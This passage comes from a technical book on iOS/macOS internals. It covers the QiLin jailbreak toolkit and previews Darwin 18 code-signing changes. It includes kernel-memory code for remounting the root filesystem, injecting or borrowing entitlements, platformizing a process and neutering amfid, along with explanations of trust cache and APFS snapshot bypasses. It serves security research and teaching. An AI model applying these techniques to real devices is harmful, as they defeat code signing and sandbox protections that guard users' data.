and - if so - nullify the vnode instead of assigning it the value of the vfs_rootvnode. An
obvious workaround, therefore, would be to temporarily turn off the flag, perform the remount
operation and reset that flag. This is, in fact, just what Xerub and the toolkit both do:

Listing 25-11: The code to remount the root filesystem read/write (from the QiLin toolkit)

int remountRootFS (void)
{
    // Need these so struct vnode is properly defined:
/* 0x00 */   LIST_HEAD(buflists, buf);
/* 0x10 */   typedef  void *kauth_action_t ;
/* 0x18 */   typedef  struct {

uint64_t    x[2];
/* 0x28 */   } lck_mtx_t;

#if 0   // Cut/paste struct vnode (bsd/sys/vnode_internal.h) here (omitted for brevity)
    struct vnode {
/* 0x00 */  lck_mtx_t v_lock; /* vnode mutex */
/* 0x28 */  TAILQ_ENTRY(vnode) v_freelist; /* vnode freelist */
/* 0x38 */  TAILQ_ENTRY(vnode) v_mntvnodes;       /* vnodes for mount point */
/* 0x48 */  TAILQ_HEAD(, namecache) v_ncchildren; /* name cache entries that regard us as their parent */
/* 0x58 */  LIST_HEAD(, namecache) v_nclinks;     /* name cache entries that name this vnode */

....
/* 0xd8 */  mount_t v_mount; /* ptr to vfs we are in */ 

..
    };
    // mount_t (struct mount *) can similarly be obtained from bsd/sys/mount_internal.h
    //  The specific mount flags are a uint32_t at offset 0x70
#endif

    // Why bother with a patchfinder when AAPL still exports this for us? :-)
    uint64_t rootVnodeAddr = findKernelSymbol("_rootvnode");
    uint64_t *actualVnodeAddr;
    struct vnode *rootvnode = 0;
    char *v_mount;

    status("Attempting to remount rootFS...\n");
    readKernelMemory(rootVnodeAddr, sizeof(void *), &actualVnodeAddr);

    readKernelMemory(*actualVnodeAddr, sizeof(struct vnode), &rootvnode);
    readKernelMemory(rootvnode->v_mount, 0x100, &v_mount);

    // Disable  MNT_ROOTFS momentarily, remounts , and then flips the flag back
    uint32_t mountFlags = (*(uint32_t * )(v_mount + 0x70)) &  ~(MNT_ROOTFS | MNT_RDONLY);

    writeKernelMemory(((char *)rootvnode->v_mount) + 0x70 ,sizeof(mountFlags), &mountFlags);

    char *opts = strdup("/dev/disk0s1s1");

    // Not enough to just change the MNT_RDONLY flag - we have to call
    // mount(2) again, to refresh the kernel code paths for mounting..
    int rc =   mount("apfs", "/", MNT_UPDATE, (void *)&opts);

    printf("RC: %d (flags: 0x%x) %s \n", rc, mountFlags, strerror(errno));

    mountFlags |= MNT_ROOTFS;
    writeKernelMemory(((char *)rootvnode->v_mount) + 0x70 ,sizeof(mountFlags), &mountFlags);

    // Quick test:
    int fd = open ("/test.txt", O_TRUNC| O_CREAT);
    if (fd < 0) { error ("Failed to remount /"); }
    else {

status("Mounted / as read write :-)\n");
unlink("/test.txt"); // clean up
}

    return 0;
}
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Entitlements

Mounting the root filesystem is easy with the powers of root and newfound freedom. We are
free, but we are not yet omnipotent. Another obstacle surfaces - Entitlements. Not only will
various XPC services naggingly request entitlements before servicing us, but so will some kernel
functions - most notably, task_for_pid(), which is instrumental for messing with Apple's
daemons. We therefore need a method for injecting arbitrary entitlements into our own process.

Injecting entitlements - I - The CS Blob

Recall from Chapter 5 that entitlements are embedded in the binary's code signature.
Indeed, looking through XNU's source code, and in particular the implementation of csops(2)
(in bsd/kern/kern_cs.c) we see it calls cs_entitlements_blob_get() (from bsd/kern/ubc_subr.c, and
retrieves the entitlements from special slot #5, as shown in Listing 25-12:

Listing 25-12: csblob_get_entitlements (from XNU-4570's bsd/kern/ubc_subr.c), with annotations

int csblob_get_entitlements(struct cs_blob *csblob, void **out_start, size_t *out_length)
{
  uint8_t computed_hash[CS_HASH_MAX_SIZE];
  const CS_GenericBlob *entitlements;
  const CS_CodeDirectory *code_dir;
  const uint8_t *embedded_hash;
  union cs_hash_union context;

*out_start = NULL;
*out_length = 0;

  // Make sure we actually have a valid blob, and a digest
  if (csblob->csb_hashtype == NULL || 
      csblob->csb_hashtype->cs_digest_size > sizeof(computed_hash))
       return EBADEXEC;
  code_dir = csblob->csb_cd;

  // If code directory marked valid, do not revalidate - just get directory blob
  if ((csblob->csb_flags & CS_VALID) == 0) { entitlements = NULL; } 
  else { entitlements = csblob->csb_entitlements_blob; }

  // Locate special slot #5
  embedded_hash = 
    find_special_slot(code_dir, csblob->csb_hashtype->cs_size, CSSLOT_ENTITLEMENTS);

   // If no slot hash but entitlements, or no entitlements but no slot hash, bail
  if (embedded_hash == NULL) {
    if (entitlements) return EBADEXEC;
       return 0;
  } else if (entitlements == NULL) {
    if (memcmp(embedded_hash, cshash_zero, csblob->csb_hashtype->cs_size) != 0) {

return EBADEXEC;
    } else { return 0; }
  }

  // Otherwise, hash entitlements blob all over... Note the use of function pointers for 
  // the hash function, which allows migrating to new algorithms (e.g. SHA-256) easily
  csblob->csb_hashtype->cs_init(&context);
  csblob->csb_hashtype->cs_update(&context, entitlements, ntohl(entitlements->length));
  csblob->csb_hashtype->cs_final(computed_hash, &context);

  // .. and ensure it is the same as slot hash
  if (memcmp(computed_hash, embedded_hash, csblob->csb_hashtype->cs_size) != 0)
    return EBADEXEC;

  // .. and if we're still here, pass entitlements back to caller.
*out_start = __DECONST(void *, entitlements);
*out_length = ntohl(entitlements->length);

  return 0;
}
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In a perfect (or 32-bit) world, we could just patch all the hash checks and return whatever
blob we wish. But that is not the case anymore, and so the path is clear: We have to locate our
own blob, perform the exact same processing (i.e. get code directory hash, seek slot #5, and
locate the blob itself), perform the replacement, and then not forget to also recalculate the hash.
It helps that, as a developer signed binary, we already have an entitlements blob (containing
get-task-allow and our team identifier) so we don't have to involve ourselves with memory
allocation.

Listing 25-13: EntitleProcAtAddress (from the QiLin toolkit)

Since we're doing all of this "in the dark", i.e. in kernel space without any visible output, a
good method to ensure correctness is to call csops(2) (or its wrappers,
SecTask..*Entitlement*) after this tinkering, so as to retrieve our blob for verification.

int entitleMe(uint64_t ProcAddress, char *entitlementString)
{
    struct cs_blob *csblob;
    struct prop *p;

    uint64_t myCSBlobAddr = LocateCodeSigningBlobForProcAtAddr(ProcAddress);

    bytes = readKernelMemory(myCSBlobAddr, sizeof (struct cs_blob), (void **)&csblob);

    uint64_t cdAddr = (uint64_t) csblob->csb_cd;
    uint64_t entBlobAddr = (uint64_t) csblob->csb_entitlements_blob;

    bytes = readKernelMemory(cdAddr, 2048, (void **)&cd); 

    bytes = readKernelMemory(entBlobAddr, 2048, (void **)&entBlob); 

    // p + 4 will have the size - NOTE BIG ENDIAN, so we use ntohl or OSSwap, etc.
    printf("Ent blob (%d bytes @0x%llx): %s\n",
  ntohl(entBlob->len), entBlobAddr , entBlob->data);

    int entBlobLen =ntohl(entBlob->len);

    if (cd->magic != ntohl(0xfade0c02))
    {

fprintf(stderr,"Wrong magic: 0x%x != 0x%x\n",entBlob->type,ntohl(0xfade0c02));
return 1;

    }

    // ... optionally check blob for hash here as sanity...

    char entHash[32]; // will be enough for a while..
    char *newBlob = alloca(entBlobLen);

   snprintf(newBlob, entBlobLen,
       "\n"
       "<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n"
       "<plist version=\"1.0\">\n"
       "<dict>\n%s\n"
       "</dict>\n</plist>\n",
       entitlementString);

    //@TODO FAil if string is longer than already allocated entitlements..
    bzero (entBlob->data, entBlobLen - sizeof(uint32_t) - sizeof(uint32_t));
    strcpy(entBlob->data, newBlob);

    doSHA256(entBlob, entBlobLen, entHash);

    bytes = writeKernelMemory
(cdAddr + ntohl(cd->hashOffset) - 5 * cd->hashSize, 32, entHash);

    bytes = writeKernelMemory(entBlobAddr, entBlobLen, entBlob);
    return 0;
}
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Injecting Entitlements - II - AMFI

As we turn to use our newly obtained entitlements, we quickly run into weird behavior.
Some entitlements, namely those requested by various XPC servers, work as expected. Others
however, notably task_for_pid-allow simply don't, with TFP returning the nondescript error
5 (KERN_FAILURE). Why?

Recall from Chapter 7 (specifically, Listing 7-5) that AppleMobileFileIntegrity.kext is the
enforcer of the task_for_pid-allow entitlement. It does so by a call to
AppleMobileFileIntegrity::AMFIEntitlementGetBool(ucred*, char const*,
bool*) , which in turn calls an internal function, copyEntitlements(ucred*) on the
credential pointer - meaning the entitlements are stored in the kauth_cred_t of the process,
and not the code signature blob! Further research discovers that AMFI maintains its own copy of
the entitlements, unserializing the entitlements from their XML form and loading them into an
OSDictionary. The code to do that can be found easily (thanks to its many complaints, such
as "failed getting entitlements" and a call to OSUnserializeXML).

Revisiting the struct ucred (from Listing 25-8) we see that its cr_label field is a
struct label pointer. A bit of math (and remembering that NGROUPS is 16) reveals the offset
of the label is at 0x78. The structure is defined in XNU's security/_label.h, and provides for a
number of l_perpolicy "slots" in which MACF policies can store pointers. AMFI's mac slot is
the very first one: i.e. at Label + 0x08. Figure 25-14 displays the contents of the AMFI MACF slot
(and can be viewed as a continuation of Figure 25-7, a few pages ago):

Figure 25-14: The AMFI Entitlement dictionary, in its MACF label slot

Injecting entitlements thus requires editing the OSDictionary, finding an available slot
(hopefully not causing an increment). The process is further complicated by the fact that it
requires the creation of a new OSDictionary item entry for the new entitlement. Not only
does this require editing the number of items in the existing dictionary, but it further necessitates
an in-kernel call to kalloc(). Ian Beer's kcall method (previously described in Figure 25-6) can
be used for this.
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Figure 25-15: The AMFI MAC policy label slot, revealed

Replacing entitlements

A simpler approach requiring no in-kernel execution can be used by replacing existing
entitlements in the OSDictionary with the desired ones, taking advantage of the already
existing keys but replacing their values (and/or their datatypes, if a string needs to be
replaced by a true, or vice versa. This has but two caveats: the first is, that an existing
entitlement of greater/equal string length must be found. The second is that any such replaced
entitlements need to be reverted back to the original ones, should the process in question
actually require them during its normal operation. For a jailbreaking app, however, neither is
really a concern. This becomes clear when one looks at the default set of entitlements provided
by Apple for developers (and can be compared with Figure 25-15):

The application-identifier and keychain-access-groups entitlements are both
controlled by the developer and either value can be made to be as arbitrarily long as required by
choosing a sufficiently long CFBundleIdentifier (and will be further lengthened by the
prepending of the team identifier). Additionally, none of the developer entitlements actually
entitle the process to anything (get-task-allow makes it debuggable, and keychain-
access-groups isn't really useful while jailbreaking. Overwriting either is thus safe enough.

Table 25-16: The default entitlements of a self-signed (developer provisioning profile) application

Entitlement key Datatype Value
application-identifier string team-identifier, concatenated with CFBundleIdentifier

com.apple.developer.team-identifier string Unique developer identifier assigned when signing application

keychain-access-groups array Array with one element, same as application-identifier

get-task-allow boolean true, enabling debuggability of application
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Borrowing entitlements

In cases where the requested entitlements just so happen to be possessed by other
binaries, it's far simpler to just politely borrow them! Fortunately, there is actually a choice of             

unwitting entitlement donors. Looking at the Entitlement Database reveals that ps(1) and
sysdiagnose(1) both make fine candidates, as both have task_for_pid-allow along with
com.apple.system-task-ports. Of the two, sysdiagnose(1) makes a better target,
because unlike ps(1) it takes time to execute. We can therefore easily spawn it, suspend it, and
take over its credentials! The only part of the credentials we actually need is AMFI's MACF slot,
so all it takes is a quick swap of the cr_label pointer with that of the original process.

Figre 25-17: Borrowing entitlements from sysdiagnose(1)

    int sdPID = execCommand("/usr/bin/sysdiagnose", "-u", NULL, NULL,NULL,NULL);

    rc = kill (sdPID, SIGSTOP); // Not really necessary, but safer...
    uint64_t *sdCredAddr ;

    // Find our donor's process struct in memory
    uint64_t sdProcStruct = processProcessList(sdPID);

    // Read donor's credentials
    readKernelMemory(sdProcStruct + offsetof(struct proc, p_ucred), 

sizeof(void *),
&sdCredAddr);

    // Usurp donor's credentials
    uint64_t origCreds = ShaiHuludMe(*sdCredAddr);

...
    /* Perform operation, e.g. task_for_pid() */

...

    /* Revert to original credentials */

    kill (sdPID, SIGKILL); // Don't need our donor anymore - thanks, sucker!
    ShaiHuludMe(origCreds);

A caveat with borrowing entitlements is that they must be "returned" when done. Failing to
revert to the original entitlements (i.e. restoring the application's original cr_label) could lead
to a kernel panic (specifically, data abort) because the slot's data is reference counted.

Entitlement borrowing works great and is easy to implement, but there are cases where a
specific mix of entitlements is required, one which does not already exist in an Apple provided
binary - and in particular the task_for_pid/com.apple.system-task-ports. In these
cases, one option could be to use donors according to the specific entitlement required and, like
a chameleon, adopt the ones we need as we need them. This, however, would end up requiring
locating specific donors or spawning and suspending them - which is not as elegant a solution
anymore. In those cases, the injection approach will have to do. In practice, however, because
user mode clients use the csops(2) interface, this is not necessary - as the very first approach
of modifying the code signature blob works perfectly.
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Platformize

If we try task_for_pid(), another unexpected behavior emerges. Although we get the
task port, somehow it seems as if we have "partial" access to the task: pid_for_task will
obviously work, as will reading thread state, for example. But attempting to access the task
memory - important if we are to inject or otherwise massage Apple's daemons - will mysteriously
fail.

This is new behavior, as of Darwin 17 - and specifically in *OS. We see the following code in
"task conversion_eval", which was added in XNU-4570:

Listing 25-18: The task_conversion_eval function (from osfmk/kern/ipc_tt.c)

kern_return_t task_conversion_eval(task_t caller, task_t victim)
{
  /*

* Tasks are allowed to resolve their own task ports, and the kernel is
* allowed to resolve anyone's task port.

   */
  if (caller == kernel_task) { return KERN_SUCCESS; }

  if (caller == victim) { return KERN_SUCCESS; }
  /*

* Only the kernel can can resolve the kernel's task port. We've established
* by this point that the caller is not kernel_task.

   */
   if (victim == kernel_task) { return KERN_INVALID_SECURITY; }
#if CONFIG_EMBEDDED
   /*

* On embedded platforms, only a platform binary can resolve the task port
* of another platform binary.

    */
   if ((victim->t_flags & TF_PLATFORM) && !(caller->t_flags & TF_PLATFORM)) {
#if SECURE_KERNEL
       return KERN_INVALID_SECURITY;
#else
    if (cs_relax_platform_task_ports) {

return KERN_SUCCESS;
       } else { return KERN_INVALID_SECURITY; }
#endif /* SECURE_KERNEL */
    }
#endif /* CONFIG_EMBEDDED */

return KERN_SUCCESS;
}

The *OS variants are both CONFIG_EMBEDDED and SECURE_KERNELs, so the only way is
to possess TF_PLATFORM. The flag is normally set by task_set_platform_binary() (in
osfmk/kern/task.c), but this function is called on exec (from exec_mach_imgact()) if the
Mach-O load result indicates that the binary is a platform binary. This is determined by code
signature, so if one can self-sign, becoming a platform binary is a simple matter (using jtool -
-sign platform, or embeddeding the platform-application (true) entitlement).

Our process, however, is already executing - so dabbling with the code signature would be
too late for this check. We therefore need to "promote" ourselves to platform status. Fortunately,
nothing is impossible when we have kernel memory overwrite capabilities. We already have our
struct proc, and the task pointer is at 0x18 (as per Figure 25-7). So we dereference that,
and then read from offset 0x3a0 - where the flags are. A read of the bits (normally, just
TF_LP64 (0x1), indicating a 64-bit address space), a flip of TF_PLATFORM (0x400) and a write
back ordains us to platformhood.

Many of Apple's services - notably launchd - will refuse to deal with any requestors who are
not themselves marked as platform binaries. To deal with them, we have to affect different code
paths - all funneling to csblob_get_platform_binary(). bestow ourselves the platform
binary marker right in our code signature blob, in a similar manner to entitlements.

487

Chapter 25: async_wake (iOS 11.0-11.1.2) and the QiLin toolkit 



Bypassing code signing

KPP and KTRR prevent any form of kernel read-only memory patching, which effectively put
patching the code of AppleMobileFileIntegrity.kext out of jailbreakers' reach. Apple has also moved
the static MACF hooks to protected memory, which means the AMFI MACF policy cannot simply
be neutered. Still, no jailbreak can be called thus without providing the freedom to run
"unapproved" binaries - i.e. those not signed by Apple.

The AMFI Trust Cache

Recall that the AMFI.kext makes use of trust caches for quickly validating ad-hoc binaries. As
explained in chapter 7, loading a secondary cache (such as the one found in the DDI) requires
entitlements - But Apple does not (as of iOS 11.1.2) protect against in-kernel modification of the
trust cache. This has been exploited privately by jailbreakers for the longest time to directly
inject CDHashes into the secondary cache (which isn't KPP/AMCC protected as the primary (i.e.
__TEXT built-in) cache is). The method has been publicly exposed by @Xerub, which means that
Apple will likely fix this oversight (or better yet, get rid of the secondary cache entirely) in a
future version.

amfid

The trust cache method is an effective one, but poses some challenges. One is the need for
more in-kernel patching (and dynamically locating the cache, which moves a bit in between
devices and versions), meaning the need to keep the kernel_task port handy. The other,
however, is that the trust cache is a closed list of binaries. More binaries can be added, but that
would require manually updating the list prior to executing each binary.

A better way to strike at the adversary, therefore, is to aim for its weak point - the user
mode /usr/libexec/amfid. Not only does this allow the relative safety of operating in user mode,
but also benefits from AMFI's execution model: The daemon is consulted on any non ad-hoc
binary, which means that it can effectively be piggybacked upon for binary execution
notifications. Patching amfid's verify_code_directory (MIG message #1000)
implementation provides the perfect place: It would get us the name of the binary to execute,
while at the same time allowing us to influence the decision as to its validity.

Ian Beer was the first to demonstrate attacking the user mode daemon in his mach_portal
exploit. His method, described in Chapter 23, is an effective one and not so easy for Apple to fix.
By setting himself as the Mach exception server (I/12), external calls whose symbol pointers
reside in __DATA can be easily set to invalid addresses, triggering an exception which can be
safely caught and handled. The particular call of interest remains
MISValidateSignatureAndCopyInfo(), and the symbol stub can be found with jtool or
dyldinfo in the same manner as shown in Output 23-10.

Code injection

AMFI not only handles code signatures on binaries - but also on dynamic libraries. As Listing
7-8 has shown, AMFI's mmap(2) hook enforces library validation. The simplest way around this
is to force-inject the com.apple.private.skip-library-validation entitlement (or the
more specific ..can-execute-cdhash) into a target process before performing the injection.
(In the case of entitlement replacing, the replacement can be undone immediately after
injection).

The classic method of DYLD_INSERT_LIBRARIES will fail, but for different reasons - dyld
has long been modified to ignore environment variables when loading entitled binaries, or
(specifically in *OS) any binary not explicitly marked with get-task-allow (q.v. I/7). Re-
enabling all DYLD variables therefore requires fake signing with said entitlement, or marking the
process in memory with CS_GET_TASK_ALLOW (0x4, from table 5-14).
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More minutiae

There is no guarantee that amfid will persist throughout the OS uptime. As a
LaunchDaemon, it may be killed at any time by launchd, only to be restarted on demand.
amfidebilitate therefore leaves its main thread in a loop that tracks notifications about amfid's
lifecycle. This can be done with a dispatch source, but amfidebilitate opts for simplicity and
directly uses the underlying kqueue(2) mechanism in what is literally a textbook example:

Listing 25-19: Monitoring amfid's lifecycle through kevent(2) API

int getKqueueForPid (pid_t pid) {
   // This is a direct rip from Listing 3-1 in the first edition of MOXiI:
   struct kevent ke;
   int kq = kqueue();
   if (kq == -1) { fprintf(stderr,"UNABLE TO CREATE KQUEUE - %s\n", strerror(errno)); 

return -1;}

   // Set process fork/exec notifications
   EV_SET(&ke, pid, EVFILT_PROC, EV_ADD, NOTE_EXIT_DETAIL , 0, NULL);
   // Register event
   int rc = kevent(kq, &ke, 1, NULL, 0, NULL);

   if (rc < 0) { fprintf(stderr,"UNABLE TO GET KEVENT - %s\n", strerror(errno));
return -2;}

   return kq;
}
...
int main (int argc, char **argv) {
...
    for (;;) { 
     kq = getKqueueForPid(amfidPid);
     struct kevent ke;
     memset(&ke, '\0', sizeof(struct kevent));
     // This blocks until an event matching the filter occurs
     rc = kevent(kq, NULL, 0, &ke, 1, NULL);

     if (rc >= 0) {
       // Don't really care about the kevent - amfid is dead

close (kq);
status ("amfid is dead!\n");

  // Get the respawned amfid pid... This could be optimized by
  // tracking launchd with a kqueue, but is more hassle
  // because launchd spawns many other processes..

pid_t new_amfidPid = findPidOfProcess("amfid");
while (! new_amfidPid) {

sleep(1);
new_amfidPid = findPidOfProcess("amfid");

}

amfidPid = new_amfidPid;
kern_return_t kr = task_for_pid (mach_task_self(),

amfidPid,
&g_AmfidPort);

castrateAmfid (g_AmfidPort);

status("Long live the new amfid - %d... ZZzzz\n", amfidPid);
        }
    } // end for
}

Another potential problem is if amfidebilitate itself is killed. This can be easily prevented by
politely requesting launchd to assume responsibility - i.e. crafting a LaunchDaemon property list,
and using the libxpc APIs (or a binary, like launchctl and its open source clone launjctl) to register
amfidebilitate. Using the RunAtLoad and KeepAlive directives ensures that whenever amfid
around, it will be properly debilitated.
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Sandbox annoyances

As discussed in Chapter 8, the *OS platform profile provides a set of stringent system-wide
sandbox restrictions not unlike those of MacOS SIP. The platform profile in iOS 11 is harsher still,
and imposes even more constraints. To name but two examples, binaries can only be started
from allowed paths. These are mostly under /, or the containerized locations of
/var/containers/Bundle, but certainly not other locations in /var or /tmp. Further, any "untrusted"
binaries can only be started by launchd (i.e. the Sandbox hook...execve() ensures the
PPID of the execve()d process is equal to 1).

Although the platform profile CAN be disabled, the QiLin toolkit does not do so at the
moment - with the rationale being that if the method were to be shown publicly, it would be
quickly patched by Apple, possibly as soon as iOS 11.3 or later. Instead, QiLin "lives" with the
restrictions, and simply operates within them.

The allowed path restriction becomes a non-issue, since the root filesystem can be
remounted and binaries can simply be dropped into /usr/local/bin or other locations (e.g. /jb),
without risk of interfering with the built-in binaries. The restriction limiting untrusted binaries to
launchd can be bypassed in one of several ways:

Stuff the CDHash of the binary in question in the AMFI trust cache. Not only will that let
AMFI.kext's guard down, it will also do us the favor of automatically platformizing the app
because it was found in the cache. The exact location can be found in the KExt thanks to
an IOLog statement ("Binary in trust cache, but has no platform entitlement. Adding it.").

Reparent a spawned process to appear to be launchd's by directly editing the struct
proc entry's p_ppid during AMFIdebilitation. Because the AMFI hook precedes that of
the Sandbox, by the time the latter executes it would "see" that launchd executed the
binary, and approve it.

Sign the binary with the platform-application entitlement. Similar to trust-cached
binaries, AMFI.kext will mark the binary as platform by the time Sandbox's hook gets
called. Unlike the previous case, however, the platformization is not full, and the resulting
process will still be unable to call task_for_pid on platform binaries.
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B
Darwin 18 (Beta) Changes

v1.6 of this work is being updated to reflect the numerous security changes introduced by
Apple in Darwin 18 (MacOS 14/[iOS/TvOS] 12/WatchOS 5). These changes, primarily in code
signing and its enforcement, are still in beta at this point (June 2018) and therefore subject to
change. From initial examination, however, it is quite clear where Apple is going with them. This
appendix seeks to provide a list of the changes visible from analyzing the binaries. This list is by
no means comprehensive, and cannot be made so until the sources of XNU 49xx and higher are
published by Apple, in or after September 2018.

Mandatory Access Control (MACF)

A new MACF Policy, AppleSystemPolicy (com.apple.SystemPolicy), is now in use in
MacOS. The policy (identified as 'ASP') hooks mac_proc_notify_exec_complete (new in
this version), and the mmap(2) hook. It makes upcalls to /usr/libexec/syspolicyd over
HOST_SYSPOLICYD_PORT (i.e. host special port #29). The daemon (discussed in Chapter 6),
now also provides MIG subsystem 18600, with two messages. The messages are used for
notify_32bit_exec and notify_32bit_mmap. The daemon is likely responsible for
popping up an alert, as Apple has indicated that MacOS 14 is the last version to support 32-bit
binaries. Its database (/var/db/SystemPolicy) is still surprisingly unrestricted by SIP as of beta 2.

MACF Hooks

In addition to mac_proc_notify_exec_complete discussed above,
mac_vnode_check_trigger_resolve is also defined, and is greedily claimed by the
Sandbox.kext. Triggers are discussed in Volume II (in the chapter dealing with VFS).

Code Signing

Version 0x20500

One of Apple's touted enhancements is the extension of SIP to third-party applications in
MacOS. This feature (discussed in WWDC's sessions). This is presently opt-in, and requires
signing with two new features: Specifying a runtime version of 10.14.0 or greater (which XCode
manages automatically with -mmacosx-version-min) and using the new version 0x20500
(i.e. v2.5) signatures. This adds a new flag to the signature (runtime, or 0x10000).
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GateKeeper (MacOS)

Application Notary

XCode 10 offers a new "App Notary" feature. As explained in WWDC 2018 session 702
(which also highlights most of the other MacOS 14 changes), the feature submits Developer-ID
signed apps, dmgs or .pkgs to Apple, and subjects them to an automated testing process which
is meant to detect malware and (possibly later) ensure other forms of policy compliance. The
result of this process is a "ticket", which may be left standalone or "stapled" to its item.

When launched from the UI, GateKeeper detects notarized bundles and - at present - allows
their opening through a GUI notice. Apple has made it clear that its future plans are to allow
only notarized applications, though this might not happen until MacOS 16.

AMFI

Code signing enforcement can now be controlled on two levels: process and system. This
applies to the kernel variables and their corresponding vm.* sysctl(2) MIBs.
cs_enforcement_enable thus now becomes cs[_process/system]
_enforcement_enable. There is also a new call cs_executable_wire.

The iOS rwx restrictions are introduced into MacOS, with specific checks to prevent write
and execute permissions from being possible concurrently, unless the process is entitled.
Library validation (restricting loaded objects to Apple's own or same team identifier) is
also hardened. Several entitlements are introduced for this purpose:

com.apple.security.cs.. Used for
allow-jit Enable JIT code genertion

allow-unsigned-executable-memory Enable executable mapping sans signature

disable-executable-page-protection Neuter code signing checks for process

disable-library-validation Allow dylibs with different team IDs

Debugging protection, which was limited to Apple's processes, is now extended to the
masses. In order to enable debugging features, once again entitlements are used:

com.apple.security.cs.. Used for
get-task-allow Willingly give up own task port (debugee)

debugger Marks own process as debugger

allow-dyld-environment-variables Force dyld to pass variables to signed process

CoreTrust (iOS12)

iOS 12 (beta 2, at the time of writing) introduces another kext, with the bundle identifier
com.apple.kext.CoreTrust, to support AMFI's kernel operations. CoreTrust's purpose is to 
thwart the common technique of "fake-signing" (known to jailbreakers as "ldid -S" or "jtool�
--sign"), which is often used to deploy arbitrary binaries to a jailbroken device. In this method 
(shown in the experiment on page 71), a code signature with an empty CMS blob is generated.
Because it is not an ad-hoc signature, AMFI passes the blob to amfid, but the latter at this point
has been compromised by the jailbreak.
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iOS 12's AMFI therefore validates a non-empty CMS blob, and then subjects the signature to
CoreTrust's evaluation. CT runs several checks against hardcoded certificates, whose strings can
be spotted with jtool --str, and contents with -d __TEXT.__const (looking for the "30
82" DER marker). Stuffing these certificates in __TEXT.__const ensures that they benefit from
KPP/AMCC protection and cannot be tampered with. CT may further validate the signature policy
(in certificate extension fields), and only if the evaluation is successful, does the normal flow (i.e.
passing to amfid) ensue. This means that, although the daemon might still be compromised, the 
attack vector is lessened, as binaries would still be required to possess a signature from an Apple 
CA (root and/or iPhone Certification), with the daemon only relying to online-auth-agent.

CoreTrust will likely prove a pain to jailbreakers, but its impact on APTs is dubious, at best. 
Such targeted malware operates in process, using a privilege escalation and/or sandbox escape 
to obtain unfettered code execution. Because it already possesses (or exploits an app with) a 
valid code signature, CoreTrust will play no role in preventing its payload from running and 
compromising the device data.

SandBox

The iOS ContainerManager (see Chapter 8) makes its MacOS debut. At the time of writing
(beta 2), it is unclear how it will be used.

Privacy

TCC is extended to protect not just XPC APIs, but all access to resources - including directly.
A new set of entitlements is defined:

com.apple.security. Used for
device.[audio-input|camera] Video/Audio device access

personal-information.* Access location, addressbook, calendars and photos-library

automation.apple-events Allow sending of Apple Events
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APFS Snapshot mount (iOS 11.3)

In an effort to harden the root filesystem protections against remounting, Apple has started
to use a snapshot mount for the root filesystem, rather than a standard mount. Using mount(1)
reveals that / is mounted over com.apple.os.update-GUID@/dev/disk0s1s1. A snapshot
mount is a very clever idea for a read-write mount (as it allows reverting to the base snapshot in
case of corruption), but in this case the reasoning is likely different. As the snapshot is mounted
read-only, the driver does not permit new writes to it, and panics the kernel (complaining "you
must have an extent covering the alloced size"). As discussed in Volume II, an extent is a
grouping of logical blocks (or parts thereof) where file data is kept.

Nonetheless, this has been bypassed by Xiaolong Bai and Min (Spark) Zheng. In a Weibo
blog post they detail their method, which specifically overcomes two hurdles:

XNU checks for attempts to remount an already mounted block device: Bai and
Zheng seek to create another mount - this time directly on the block device - but the root
vnode's v_specinfo->si_flags (as discussed in Volume II) include SI_MOUNTEDON,
so that the mount(2) system call would return -EBUSY. This, in itself, is an integrity
rather than security precaution. The duo bypasses it by neutering the flags altogether,
which enables the mount.

APFS.kext is coerced into believing this new mount is not a snapshot: by copying
the the APFS private mount data pointer over from the secondary mount. This pointer
(the mnt_data field of the struct mount in the vnode's v_mount field, incidentally at
offset 0x8f8) holds filesystem driver private data. When copied from the secondary
mount's vnode over the root vnode, it successfully enables new extents to be created and
avoids the panic.

While fairly detailed, Bai and Zheng's article nonetheless omits a fine point - The APFS.kext
will compare the v_mount from every vnode it processes to a field stashed in its private data.
Because those vnodes are technically on the root filesystem mount (/) and not the secondary
filesystem mount, a mismatch will be detected. This will not cause a panic, but will still fail vnode
data access. The kernel log output is inundated with "vp has different mp than fs System"
messages from apfs_jhash_getvnode_stream. Using jtool to disassemble around this
message reveals the specifics:

morpheus@Zephyr(~)$ jtool2  -d /tmp/com.apple.filesystems.apfs.kext  |
grep -B13 -A10 different

Disassembling from file offset 0x24000, Address 0xfffffff00680d000
     ..4c488  BL      _vnode_mount       ; 0xfffffff00688f674
     ..4c490  LDR     X8, [X22, #416]    ; R8 = *(R22 + 416) = (private->v_mount)
     ..4c494  CMP     X0, X8, ... ;
if (vnode_mount(vp) != private->v_mount) {
+----..4c498  B.EQ    0xfffffff00684c4cc  ;
|    ..4c49c  MOV     X0, X23 ; X0 = X23 (= vp)
|    ..4c4a0  BL      _vnode_put ; 0xfffffff00688f68c
|    ..4c4a4  LDR     X8, [X22, #192]    ; R8 = *(R22 + 192) = (private->fsName)
|    ..4c4a8  STR     X8, [SP, #16]      ; *(SP + 0x10) = 0x100000cfeedfacf
|    ..4c4ac  ADRP    X8, 2093870 ; R8 = 0xfffffff005b7a000 
|    ..4c4b0  ADD     X8, X8, #2439      ; R8 = "apfs_jhash_getvnode_internal"; 
|    ..4c4b4  MOVZ    W9, 0x143 ; R9 = 0x143 
|    ..4c4b8  STP     X8, X9, [SP, #0]   ; *(SP + 0x0) = R8, R9
|    ..4c4bc  ADRP    X0, 2093870 ; ->R0 = 0xfffffff005b7a000 
|    ..4c4c0  ADD     X0, X0, #2400      ; "%s:%d: vp has different mp than fs %s\r"
|    ..4c4c4  BL      _printf  ; 0xfffffff0068218e0
_printf("apfs_jhash_getvnode_internal:1323: vp has different mp than fs %s\n", 

private->fsName);
| +--..4c4c8  B       0xfffffff00684c4ec
 } else {

+-+->..4c4cc  MOV     X0, X23 ; X0 = X23 (= vp)
  |  ..4c4d0  BL      _vnode_fsnode      ; 0xfffffff00688f584
  |  ..4c4d4  MOV     X20, X0 ; X20 = X0 = 0x0
  | ...
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Note the check (in 0xfffffff00684c498) comparing the result of vnode_mount with a value
from [X22, #416]. The former function (defined in XNU's bsd/vfs/kpi_vfs.c) merely returns vp-
>v_mount, and the latter is a value in the private data. Xnooping around reveals that it matches
the secondary mount's vnode. The value therefore needs to be overwritten to the original root
node's v_mount, to allow vnode_fsnode() to be called and retrieve the vp->v_data.

While Bai and Zheng's method works, there are two finer points still left to address:

APFS reverts to the initial filesystem snapshot on boot: Meaning that changes to
the root filesystem will still fail to persist across reboot. This can be trivially fixed by
